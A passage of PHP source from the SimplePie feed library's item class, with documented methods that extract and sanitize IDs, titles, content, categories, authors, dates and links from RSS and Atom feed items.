	 * @param SimplePie_Registry $registry
	 */
	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	/**
	 * Get a string representation of the item
	 *
	 * @return string
	 */
	public function __toString()
	{
		return md5(serialize($this->data));
	}

	/**
	 * Remove items that link back to this before destroying this object
	 */
	public function __destruct()
	{
		if (!gc_enabled())
		{
			unset($this->feed);
		}
	}

	/**
	 * Get data for an item-level element
	 *
	 * This method allows you to get access to ANY element/attribute that is a
	 * sub-element of the item/entry tag.
	 *
	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
	 *
	 * @since 1.0
	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
	 * @param string $tag Tag name
	 * @return array
	 */
	public function get_item_tags($namespace, $tag)
	{
		if (isset($this->data['child'][$namespace][$tag]))
		{
			return $this->data['child'][$namespace][$tag];
		}

		return null;
	}

	/**
	 * Get the base URL value from the parent feed
	 *
	 * Uses `<xml:base>`
	 *
	 * @param array $element
	 * @return string
	 */
	public function get_base($element = array())
	{
		return $this->feed->get_base($element);
	}

	/**
	 * Sanitize feed data
	 *
	 * @access private
	 * @see SimplePie::sanitize()
	 * @param string $data Data to sanitize
	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
	 * @param string $base Base URL to resolve URLs against
	 * @return string Sanitized data
	 */
	public function sanitize($data, $type, $base = '')
	{
		return $this->feed->sanitize($data, $type, $base);
	}

	/**
	 * Get the parent feed
	 *
	 * Note: this may not work as you think for multifeeds!
	 *
	 * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
	 * @since 1.0
	 * @return SimplePie
	 */
	public function get_feed()
	{
		return $this->feed;
	}

	/**
	 * Get the unique identifier for the item
	 *
	 * This is usually used when writing code to check for new items in a feed.
	 *
	 * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
	 * for RDF. If none of these are supplied (or `$hash` is true), creates an
	 * MD5 hash based on the permalink, title and content.
	 *
	 * @since Beta 2
	 * @param boolean $hash Should we force using a hash instead of the supplied ID?
	 * @param string|false $fn User-supplied function to generate an hash
	 * @return string|null
	 */
	public function get_id($hash = false, $fn = 'md5')
	{
		if (!$hash)
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about']))
			{
				return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
		}
		if ($fn === false)
		{
			return null;
		}
		elseif (!is_callable($fn))
		{
			trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
			$fn = 'md5';
		}
		return call_user_func($fn,
		       $this->get_permalink().$this->get_title().$this->get_content());
	}

	/**
	 * Get the title of the item
	 *
	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
	 *
	 * @since Beta 2 (previously called `get_item_title` since 0.8)
	 * @return string|null
	 */
	public function get_title()
	{
		if (!isset($this->data['title']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$this->data['title'] = null;
			}
		}
		return $this->data['title'];
	}

	/**
	 * Get the content for the item
	 *
	 * Prefers summaries over full content , but will return full content if a
	 * summary does not exist.
	 *
	 * To prefer full content instead, use {@see get_content}
	 *
	 * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
	 * `<itunes:subtitle>`
	 *
	 * @since 0.8
	 * @param boolean $description_only Should we avoid falling back to the content?
	 * @return string|null
	 */
	public function get_description($description_only = false)
	{
		if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) &&
		    ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) &&
		        ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML)))
		{
			return $return;
		}

		elseif (!$description_only)
		{
			return $this->get_content(true);
		}

		return null;
	}

	/**
	 * Get the content for the item
	 *
	 * Prefers full content over summaries, but will return a summary if full
	 * content does not exist.
	 *
	 * To prefer summaries instead, use {@see get_description}
	 *
	 * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
	 *
	 * @since 1.0
	 * @param boolean $content_only Should we avoid falling back to the description?
	 * @return string|null
	 */
	public function get_content($content_only = false)
	{
		if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) &&
		    ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) &&
		        ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (!$content_only)
		{
			return $this->get_description(true);
		}

		return null;
	}

	/**
	 * Get the media:thumbnail of the item
	 *
	 * Uses `<media:thumbnail>`
	 *
	 *
	 * @return array|null
	 */
	public function get_thumbnail()
	{
		if (!isset($this->data['thumbnail']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				$this->data['thumbnail'] = $return[0]['attribs'][''];
			}
			else
			{
				$this->data['thumbnail'] = null;
			}
		}
		return $this->data['thumbnail'];
	}

	/**
	 * Get a category for the item
	 *
	 * @since Beta 3 (previously called `get_categories()` since Beta 2)
	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Category|null
	 */
	public function get_category($key = 0)
	{
		$categories = $this->get_categories();
		if (isset($categories[$key]))
		{
			return $categories[$key];
		}

		return null;
	}

	/**
	 * Get all categories for the item
	 *
	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
	 *
	 * @since Beta 3
	 * @return SimplePie_Category[]|null List of {@see SimplePie_Category} objects
	 */
	public function get_categories()
	{
		$categories = array();

		$type = 'category';
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, $type) as $category)
		{
			$term = null;
			$scheme = null;
			$label = null;
			if (isset($category['attribs']['']['term']))
			{
				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['scheme']))
			{
				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['label']))
			{
				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, $label, $type));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, $type) as $category)
		{
			// This is really the label, but keep this as the term also for BC.
			// Label will also work on retrieving because that falls back to term.
			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			if (isset($category['attribs']['']['domain']))
			{
				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$scheme = null;
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, null, $type));
		}

		$type = 'subject';
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, $type) as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, $type) as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type));
		}

		if (!empty($categories))
		{
			return array_unique($categories);
		}

		return null;
	}

	/**
	 * Get an author for the item
	 *
	 * @since Beta 2
	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Author|null
	 */
	public function get_author($key = 0)
	{
		$authors = $this->get_authors();
		if (isset($authors[$key]))
		{
			return $authors[$key];
		}

		return null;
	}

	/**
	 * Get a contributor for the item
	 *
	 * @since 1.1
	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Author|null
	 */
	public function get_contributor($key = 0)
	{
		$contributors = $this->get_contributors();
		if (isset($contributors[$key]))
		{
			return $contributors[$key];
		}

		return null;
	}

	/**
	 * Get all contributors for the item
	 *
	 * Uses `<atom:contributor>`
	 *
	 * @since 1.1
	 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects
	 */
	public function get_contributors()
	{
		$contributors = array();
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}

		if (!empty($contributors))
		{
			return array_unique($contributors);
		}

		return null;
	}

	/**
	 * Get all authors for the item
	 *
	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
	 *
	 * @since Beta 2
	 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects
	 */
	public function get_authors()
	{
		$authors = array();
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}
		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author'))
		{
			$authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($authors))
		{
			return array_unique($authors);
		}
		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
		{
			return $authors;
		}
		elseif ($authors = $this->feed->get_authors())
		{
			return $authors;
		}

		return null;
	}

	/**
	 * Get the copyright info for the item
	 *
	 * Uses `<atom:rights>` or `<dc:rights>`
	 *
	 * @since 1.1
	 * @return string
	 */
	public function get_copyright()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}

		return null;
	}

	/**
	 * Get the posting date/time for the item
	 *
	 * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
	 * `<atom:modified>`, `<pubDate>` or `<dc:date>`
	 *
	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
	 * {@see get_gmdate}
	 *
	 * @since Beta 2 (previously called `get_item_date` since 0.8)
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_date($date_format = 'j F Y, g:i a')
	{
		if (!isset($this->data['date']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
			{
				$this->data['date']['raw'] = $return[0]['data'];
			}

			if (!empty($this->data['date']['raw']))
			{
				$parser = $this->registry->call('Parse_Date', 'get');
				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
			}
			else
			{
				$this->data['date'] = null;
			}
		}
		if ($this->data['date'])
		{
			$date_format = (string) $date_format;
			switch ($date_format)
			{
				case '':
					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);

				case 'U':
					return $this->data['date']['parsed'];

				default:
					return date($date_format, $this->data['date']['parsed']);
			}
		}

		return null;
	}

	/**
	 * Get the update date/time for the item
	 *
	 * Uses `<atom:updated>`
	 *
	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
	 * {@see get_gmdate}
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_updated_date($date_format = 'j F Y, g:i a')
	{
		if (!isset($this->data['updated']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
			{
				$this->data['updated']['raw'] = $return[0]['data'];
			}

			if (!empty($this->data['updated']['raw']))
			{
				$parser = $this->registry->call('Parse_Date', 'get');
				$this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']);
			}
			else
			{
				$this->data['updated'] = null;
			}
		}
		if ($this->data['updated'])
		{
			$date_format = (string) $date_format;
			switch ($date_format)
			{
				case '':
					return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);

				case 'U':
					return $this->data['updated']['parsed'];

				default:
					return date($date_format, $this->data['updated']['parsed']);
			}
		}

		return null;
	}

	/**
	 * Get the localized posting date/time for the item
	 *
	 * Returns the date formatted in the localized language. To display in
	 * languages other than the server's default, you need to change the locale
	 * with {@link http://php.net/setlocale setlocale()}. The available
	 * localizations depend on which ones are installed on your web server.
	 *
	 * @since 1.0
	 *
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
	 * @return int|string|null
	 */
	public function get_local_date($date_format = '%c')
	{
		if (!$date_format)
		{
			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif (($date = $this->get_date('U')) !== null && $date !== false)
		{
			return strftime($date_format, $date);
		}

		return null;
	}

	/**
	 * Get the posting date/time for the item (UTC time)
	 *
	 * @see get_date
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
	 * @return int|string|null
	 */
	public function get_gmdate($date_format = 'j F Y, g:i a')
	{
		$date = $this->get_date('U');
		if ($date === null)
		{
			return null;
		}

		return gmdate($date_format, $date);
	}

	/**
	 * Get the update date/time for the item (UTC time)
	 *
	 * @see get_updated_date
	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
	 * @return int|string|null
	 */
	public function get_updated_gmdate($date_format = 'j F Y, g:i a')
	{
		$date = $this->get_updated_date('U');
		if ($date === null)
		{
			return null;
		}

		return gmdate($date_format, $date);
	}

	/**
	 * Get the permalink for the item
	 *
	 * Returns the first link available with a relationship of "alternate".
	 * Identical to {@see get_link()} with key 0
	 *
	 * @see get_link
	 * @since 0.8
	 * @return string|null Permalink URL
	 */
	public function get_permalink()
	{
		$link = $this->get_link();
		$enclosure = $this->get_enclosure(0);
		if ($link !== null)
		{
			return $link;
		}
		elseif ($enclosure !== null)
		{
			return $enclosure->get_link();
		}

		return null;
	}

	/**
	 * Get a single link for the item
	 *
	 * @since Beta 3
	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
	 * @param string $rel The relationship of the link to return
	 * @return string|null Link URL
	 */
	public function get_link($key = 0, $rel = 'alternate')
	{
		$links = $this->get_links($rel);
		if ($links && $links[$key] !== null)
		{
			return $links[$key];
		}

		return null;
	}

	/**
	 * Get all links for the item
	 *
	 * Uses `<atom:link>`, `<link>` or `<guid>`
	 *
	 * @since Beta 2
	 * @param string $rel The relationship of links to return
	 * @return array|null Links found for the item (strings)
	 */
	public function get_links($rel = 'alternate')
	{
		if (!isset($this->data['links']))
		{
			$this->data['links'] = array();
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']))
				{
					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));

				}
			}
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']))
				{
					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
				}
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
			{
				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true')
				{
					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
				}
			}

			$keys = array_keys($this->data['links']);
			foreach ($keys as $key)
			{
				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
				{
					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
					}
					else
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
					}
				}
				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
				{
					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
				}
				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
			}
		}
		if (isset($this->data['links'][$rel]))
		{
			return $this->data['links'][$rel];
		}

		return null;
	}

	/**
	 * Get an enclosure from the item
	 *
	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
	 *
	 * @since Beta 2
	 * @todo Add ability to prefer one type of content over another (in a media group).
	 * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
	 * @return SimplePie_Enclosure|null
	 */
	public function get_enclosure($key = 0, $prefer = null)
	{
		$enclosures = $this->get_enclosures();
		if (isset($enclosures[$key]))
		{
			return $enclosures[$key];
		}

		return null;
	}

	/**
	 * Get all available enclosures (podcasts, etc.)
	 *
	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
	 *
